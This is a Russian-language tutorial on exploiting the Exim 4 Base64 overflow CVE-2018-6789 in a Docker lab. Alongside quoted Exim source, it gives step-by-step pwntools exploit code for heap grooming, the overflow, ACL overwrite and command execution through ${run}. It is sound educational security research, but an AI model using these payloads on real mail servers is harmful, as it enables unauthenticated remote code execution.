КОНЬЯКОВ.ру

Команда упасть. Эксплуатируем критическую уязвимость в почтовике Exim 4

Содержание статьи

Когда софтина попадает под пристальный взгляд экспертов по безопасности, велика вероятность, что за одним багом найдутся и другие. Так и случилось с агентом пересылки сообщений Exim: вслед за прошлогодней уязвимостью в нем найдена новая опасная дыра, действующая во всех версиях вплоть до последней (4.90.1). Поскольку Exim — штука популярная, список потенциально уязвимых целей просто огромен. Давай посмотрим, как эксплуатировать эту новую находку.

Обнаруженная проблема — это своеобразное продолжение предыдущего бага, который нашел тот же исследователь под ником Meh. На этот раз он раскопал возможность переполнения буфера в функции для работы с кодировкой Base64.

Уязвимость уже обзавелась своим идентификатором CVE-2018-6789 и получила статус критической, потому что приводит к удаленному выполнению любых команд на целевой системе с правами пользователя, от имени которого работает Exim. Причем не нужна ни авторизация, ни какой-либо другой уровень доступа. Нужен только коннект к порту SMTP.

Готовим инструменты

Под эту уязвимость существует добротно настроенный докер-контейнер, так что говорим спасибо товарищу под ником Skysider и запускаем:

$ docker run -it --rm --name exim -p 25:25 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined skysider/vulndocker:cve-2018-6789

Пробрасываем из Docker стандартный порт, на котором висит SMTP.

Готовый стенд для эксплуатации Exim
Готовый стенд для эксплуатации Exim

Если нужна поддержка дебаггера, то не забудь его установить и перекомпилировать Exim с отладочными символами.

$ apt-get update && apt-get install -y gdb
$ cd exim-4.89
$ printf "CFLAGS += -g\n" >> Local/Makefile
$ make

Также нам понадобится Python с установленным pwntools для написания и тестирования эксплоита. Я просто разверну еще один докер-контейнер на основе Debian.

$ docker run -it --rm --link=exim debian /bin/bash
$ apt-get update && apt-get install -y python python-pip
$ pip install pwntools

Все готово, вперед к победам!

Работа с кучей

Для начала взглянем на саму провинившуюся функцию.

/src/base64.c
153: b64decode(const uschar *code, uschar **ptr)
154: {
155: int x, y;
156: uschar *result = store_get(3*(Ustrlen(code)/4) + 1);
157:
158: *ptr = result;

За выделение требуемого количества памяти отвечает store_get — кастомная функция из набора для менеджмента памяти, который используется в составе Exim.

/src/store.h
30: #define store_extend(addr,old,new) \
31: store_extend_3(addr, old, new, __FILE__, __LINE__)
32:
33: #define store_free(addr) store_free_3(addr, __FILE__, __LINE__)
34: #define store_get(size) store_get_3(size, __FILE__, __LINE__)
35: #define store_get_perm(size) store_get_perm_3(size, __FILE__, __LINE__)
36: #define store_malloc(size) store_malloc_3(size, __FILE__, __LINE__)
37: #define store_release(addr) store_release_3(addr, __FILE__, __LINE__)
38: #define store_reset(addr) store_reset_3(addr, __FILE__, __LINE__)
...
43: extern BOOL store_extend_3(void *, int, int, const char *, int);
44: extern void store_free_3(void *, const char *, int);
45: extern void *store_get_3(int, const char *, int);
46: extern void *store_get_perm_3(int, const char *, int);
47: extern void *store_malloc_3(int, const char *, int);
48: extern void store_release_3(void *, const char *, int);
49: extern void store_reset_3(void *, const char *, int);

Во время работы функции выделяется буфер размером 3*(len/4)+1 байт для хранения декодированных данных, где len — длина передаваемых данных.
Такая формула не случайна, так как в стандарте Base64 каждые три исходных байта кодируются четырьмя символами. В идеальных условиях размер переданных данных всегда кратен четырем, но, к счастью, мы живем не в них, и если передать невалидную кодированную строку, то функция store_get получит неверное значение размера выделяемой памяти.

Размеры выделяемой памяти для валидной и невалидной строки Base64
Размеры выделяемой памяти для валидной и невалидной строки Base64

В общем случае, когда передаем строку размером 4n – 1, Exim зарезервирует 3n + 1 байт, но после декодирования получится строка, итоговый размер которой будет равен 3n + 2 байта, и это вызовет переполнение при попытке записи в выделенный буфер.

Где используется кодировка Base64? Да практически везде. Начиная от разных типов авторизаций и заканчивая файлами, которые прикрепляются к письмам. Все эти вещи потенциально уязвимы. Авторизация нам подходит, так как для отправки сообщений чаще всего потребуется валидный логин и пароль. На тестовом стенде уже включен механизм аутентификации CRAM-MD5, но подойдет и любой другой, который работает с Base64.

Теперь немножко поговорим о работе с памятью. Как я уже писал, в Exim существует самописный набор функций для этих целей. Функция store_malloc — вызов malloc прямиком из библиотеки glibc. Она занимается выделением блока памяти нужного размера.

/src/store.c
507: void *
508: store_malloc_3(int size, const char *filename, int linenumber)
509: {
510: void *yield;
511:
512: if (size < 16) size = 16;
513:
514: if (!(yield = malloc((size_t)size)))

Каждый раз при создании нового чанка первые 16 байт занимает блок с метаданными. Он как бы делится на два мини-блока. В первом располагается размер предыдущего чанка, а во втором — размер текущего и флаги, которые хранятся в первых трех битах. После этого функция возвращает указатель на начало блока с данными. Выглядит это примерно так.

Структура чанка
Структура чанка

Большинство чанков, используемых при работе Exim, хранятся в виде двусвязного списка (doubly linked list), который называется unsorted bin. Поскольку glibc объединяет все такие чанки в один большой блок, это позволяет избежать фрагментации. После каждого запроса на выделение библиотека повторно выделяет эти блоки в порядке «первым пришел — первым ушел» (FIFO).

Из соображений производительности Exim предоставляет собственную структуру связанного списка, с которой работают функции store_get, store_release, store_extend и store_reset. Эта структура называется storeblock.

/src/store.c
71: typedef struct storeblock {
72: struct storeblock *next;
73: size_t length;
74: } storeblock;

Посмотри на ее содержимое: помимо обычного заголовка с метаданными, добавляется еще один. Он включает в себя адрес следующего элемента и размер данных текущего.

Минимальный размер таких элементов может быть 8192 байт плюс 16 байт хидера и еще 16 байт метаданных, итого — 8224 (0х2020).

Структура storeblock
Структура storeblock

Именно такие константы прописаны в функции store_get.

/src/store.c
062: #define STORE_BLOCK_SIZE 8192
...
128: void *
129: store_get_3(int size, const char *filename, int linenumber)
130: {
...
143: if (size > yield_length[store_pool])
144: {
145: int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;

Чтобы успешно проэксплуатировать уязвимость, нам нужно создать структуру из трех частей.

На шаг ближе к уязвимости

Для создания структуры нам нужно научиться манипулировать чанками, как Амаяк Акопян. Это можно устроить с помощью некоторых команд протокола SMTP.

Первая в списке — EHLO. Она используется для приветствия, которое передается после подключения к серверу. В качестве аргумента нужно передать полное доменное имя клиента. После того как команда отработает, указатель на переданный домен записывается в переменную sender_host_name, а после повторного выполнения команды вызывается store_free, чтобы освободить место для нового имени, которому выделяется память с помощью store_malloc.

/src/smtp_in.c
1751: static BOOL
1752: check_helo(uschar *s)
1753: {
...
1758: /* Discard any previous helo name */
1759:
1760: if (sender_helo_name != NULL)
1761: {
1762: store_free(sender_helo_name);
1763: sender_helo_name = NULL;
1764: }
...
1810: if (yield) sender_helo_name = string_copy_malloc(start);

Наряду с EHLO существуют команды MAIL и RCPT. Когда они успешно отработают, выполнится функция smtp_reset, которая вызывает store_reset и выполняет сброс цепочки блоков к точке сброса (reset_point). Это приводит к освобождению всех чанков, выделенных функцией store_get после последней команды.

/src/smtp_in.c
3648: int
3649: smtp_setup_msg(void)
3650: {
...
3656: void *reset_point = store_get(0);
...
3666: smtp_reset(reset_point);
3667: message_ended = END_NOTSTARTED;
/src/smtp_in.c
1882: static void
1883: smtp_reset(void *reset_point)
...
1982: store_reset(reset_point);

Следующий помощник — любая неизвестная серверу команда. Если она содержит непечатаемые символы, то они конвертируются в печатаемые, и Exim выделяет память для их хранения.

/src/smtp_in.c
5556: if (unknown_command_count++ >= smtp_max_unknown_commands)
5557: {
...
5571: done = synprot_error(L_smtp_syntax_error, 500, NULL,
5572: US"unrecognized command");

Команда AUTH отвечает собственно за аутентификацию. Здесь мы и будем использовать переполнение в работе с Base64. Оригинальные и декодированные строки записываются в буфер при помощи store_get. Она, так же как и EHLO, принимает любые символы на вход, включая нулл-байты, что очень поможет нам при эксплуатации.

Эксплуатация

Для начала рекомендую запустить Exim через отладчик, чтобы было проще отслеживать шаги к RCE.

$ dbg /work/exim-4.89/build-Linux-x86_64/exim
$ r -bd -d-receive -C conf.conf
Запуск сервера Exim через отладчик GDB
Запуск сервера Exim через отладчик GDB

Запускаем Python, импортируем нужные библиотеки и подключаемся к агенту.

from pwn import *
from base64 import b64encode
serv = remote("192.168.99.100", 25)
Первые шаги в эксплуатации уязвимости
Первые шаги в эксплуатации уязвимости

Сначала помещаем большой чанк в unsorted bin. Это можно сделать с помощью команды EHLO. Отправляем в качестве аргумента строку нужного нам размера.

serv.sendline("ehlo " + "a"*0x1000)
serv.sendline("ehlo " + "a"*0x20)
Помещаем большой чанк в unsorted bin
Помещаем большой чанк в unsorted bin

Дальше с помощью несуществующей команды вызываем выполнение store_get. Можно накинуть на нее брейк-пойнт и увидеть, что таким образом мы размещаем структуру storeblock в освободившемся после прошлого действия чанке.

serv.sendline("\xee"*0x700)
Момент отладки во время отправки несуществующей команды
Момент отладки во время отправки несуществующей команды

Теперь снова отправляем команду EHLO, чтобы создать второй storeblock, при этом первый освобождается, потому что отрабатывает smtp_reset. Благодаря этому мы разместили блок, в котором хранится переданный в EHLO sender_host_name, в середине unsorted bin.

serv.sendline("ehlo " + "c"*0x2c00)
Отладка в момент вызова smtp_reset
Отладка в момент вызова smtp_reset

Теперь, когда приготовления кучи окончены, можно работать с переполнением. Наша задача — с его помощью увеличить размер чанка. Используем авторизацию CRAM-MD5.

serv.sendline("AUTH CRAM-MD5")

Высчитываем размер данных, которые нам нужно записать. Мы берем минимальный размер чанка, прибавляем к нему 16 байт метаданных и еще 7 байт, чтобы попасть в хидер storeblock, в секцию размера данных.

payload = "d"*(0x2020+0x30-0x18-1)

Кодируем в Base64, добавляем байт, который будет записан (0xf1), и превращаем полученную строку в невалидный Base64.

serv.sendline(b64encode(payload)+"EfE")
Декодирование невалидной строки Base64
Декодирование невалидной строки Base64

Теперь после конвертации размер чанка с sender_host_name станет равен 0x20f1 байт. Помним, что манипулировать можно только одним байтом, следовательно, мы можем менять значения в пределах 0x00–0xff.

Так как размер изменился, теперь следующий чанк начинается внутри исходного. Это нужно пофиксить, иначе проверки целостности из библиотеки glibc не дадут продолжать манипуляции с кучей.

serv.sendline("AUTH CRAM-MD5")
payload2 = 'm'*0x70+p64(0x1f41)
serv.sendline(b64encode(payload2))

Чтобы начать контролировать содержимое созданного фейкового чанка, нужно выполнить store_free. Это можно сделать, используя все ту же команду EHLO. Однако ее успешное выполнение приведет к вызову smtp_reset, что, в свою очередь, кончится крашем процесса. Чтобы этого избежать, нужно отправить некорректное доменное имя в аргументах. Тогда выполнение функции закончится раньше ресета.

serv.sendline("ehlo anything+")
/src/smtp_in.c
3882: if (!check_helo(smtp_cmd_data))
3883: {
3884: smtp_printf("501 Syntactically invalid %s argument(s)\r\n", hello);
...
1797: if (!isalnum(*s) && *s != '.' && *s != '-' &&
1798: Ustrchr(helo_allow_chars, *s) == NULL)
1799: {
1800: yield = FALSE;
1801: break;
1802: }
...
1811: return yield;

Вот мы и приблизились к финальной стадии эксплуатации.
На данный момент мы при помощи команды AUTH можем изменять указатель на адрес следующего storeblock. Ресерчер Meh, который обнаружил уязвимость, предложил интересную идею для выполнения произвольного кода с учетом этой возможности.

В Exim есть такое понятие, как раскрываемые строки (String Expansion). Это что-то вроде макросов из мира шаблонизаторов. Специальные строки обрабатываются интерпретатором Exim, и действия, которые они описывают, исполняются. Среди команд есть и вызов программы:

${run{<command> <args>}{<string1>}{<string2>}}

Для парсинга такого вида строк используется функция expand_string. Она вызывается, например, в acl_check.

/src/acl.c
4268: int
4269: acl_check(int where, uschar *recipient, uschar *s, uschar **user_msgptr,
4270: uschar **log_msgptr)
4271: {
...
4308: rc = acl_check_internal(where, addr, s, user_msgptr, log_msgptr);

/src/acl.c:

3856: static int
3857: acl_check_internal(int where, address_item *addr, uschar *s,
3858: uschar **user_msgptr, uschar **log_msgptr)
3859: {
...
3882: if (acl_level == 0)
3883: {
3884: if (!(ss = expand_string(s)))

При каждой загрузке сервер читает конфигурацию и создает таблицу глобальных указателей на ACL (Access Control List). В ней есть записи вида acl_smtp_<команда>, где команда — это команда, к которой привязана строка. Так, acl_smtp_mail указывает на строку acl_check_mail, и парсер отрабатывает каждый раз, когда клиент передает MAIL. Если имеются раскрываемые строки, то выполняется их интерпретация.

Таким образом, нам надо изменить указатель storeblock на нужную запись из таблицы ACL.

serv.sendline("AUTH CRAM-MD5")
payload3 = 'a'*0x2bf0 + p64(0) + p64(0x2021) + p8(0x80)
addr = p16(addr*0x10+4)
serv.sendline(b64encode(payload3)+b64encode(addr)[:-1])

Проблема тут в том, чтобы определить, где расположена эта таблица. Как ты знаешь, адресное пространство — штука динамическая и реальный адрес зависит от множества факторов. К счастью, его можно получить методом брутфорса, потому что после указания адреса нужно выполнить smtp_reset, освободить чанк. Как обычно, это делается с помощью команды EHLO.

serv.sendline("ehlo crash")

И если в этот момент указатель был неверный, то приложение упадет с ошибкой и коннект клиента с сервером разорвется. Перебирая адреса и отслеживая коннект с сервером, можно определить верный адрес.

Я буду использовать команду MAIL, и в моем случае адрес можно посмотреть в отладчике.

Смотрим адрес расположения таблицы ACL в отладчике
Смотрим адрес расположения таблицы ACL в отладчике
addr = 0x6c9

Записываем ACL:

payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
payload4 += 't'*(0x1f80-len(payload4))
serv.sendline("AUTH CRAM-MD5")
serv.sendline(b64encode(payload4)+'ee')

Генерируем строку с вызовом произвольной команды.

command = "/usr/bin/touch /tmp/owned"
payload5 = "a"*0x78 + "${run{" + command + "}}\x00"
serv.sendline("AUTH CRAM-MD5")
serv.sendline(b64encode(payload5)+"ee")
Внедренная в acl_check_mail раскрываемая строка
Внедренная в acl_check_mail раскрываемая строка

Мы привязали раскрываемую строку ${run{/usr/bin/touch /tmp/owned}}, которая будет парситься и выполняться при каждом поступлении команды MAIL. Проверим это.

serv.sendline("MAIL FROM: <test@test.com>")
Успешная эксплуатация Exim 4. Команда выполнена
Успешная эксплуатация Exim 4. Команда выполнена

Файл на месте, а значит, эксплоит отработал на ура.

Демонстрация уязвимости (видео)

Выводы

Интересно, что в статье об Exim в «Википедии» отдельным абзацем указано, что приложение крайне безопасно и имеет очень мало критических уязвимостей. И тут на тебе: за несколько месяцев такие проблемы! Несколько критических уязвимостей, эксплуатация которых возможна удаленно, — это сильно. Будем надеяться, что разработчики отнесутся серьезнее к проверке исходного кода. А пока обновляйся: с Exim версии 4.90.1 уязвимость исправлена.

Сам эксплоит с возможностью брутфорса адреса ты сможешь найти на GitHub.

Успешная эксплуатация Exim 4 с помощью брутфорса адреса. Команда /usr/bin/touch /tmp/success выполнена
Успешная эксплуатация Exim 4 с помощью брутфорса адреса. Команда /usr/bin/touch /tmp/success выполнена

Надеюсь, статья помогла тебе разобраться в деталях уязвимости и немного прокачать скилл работы с бинарными багами.

Источник: https://xakep.ru/2018/05/07/exim-4-exploit/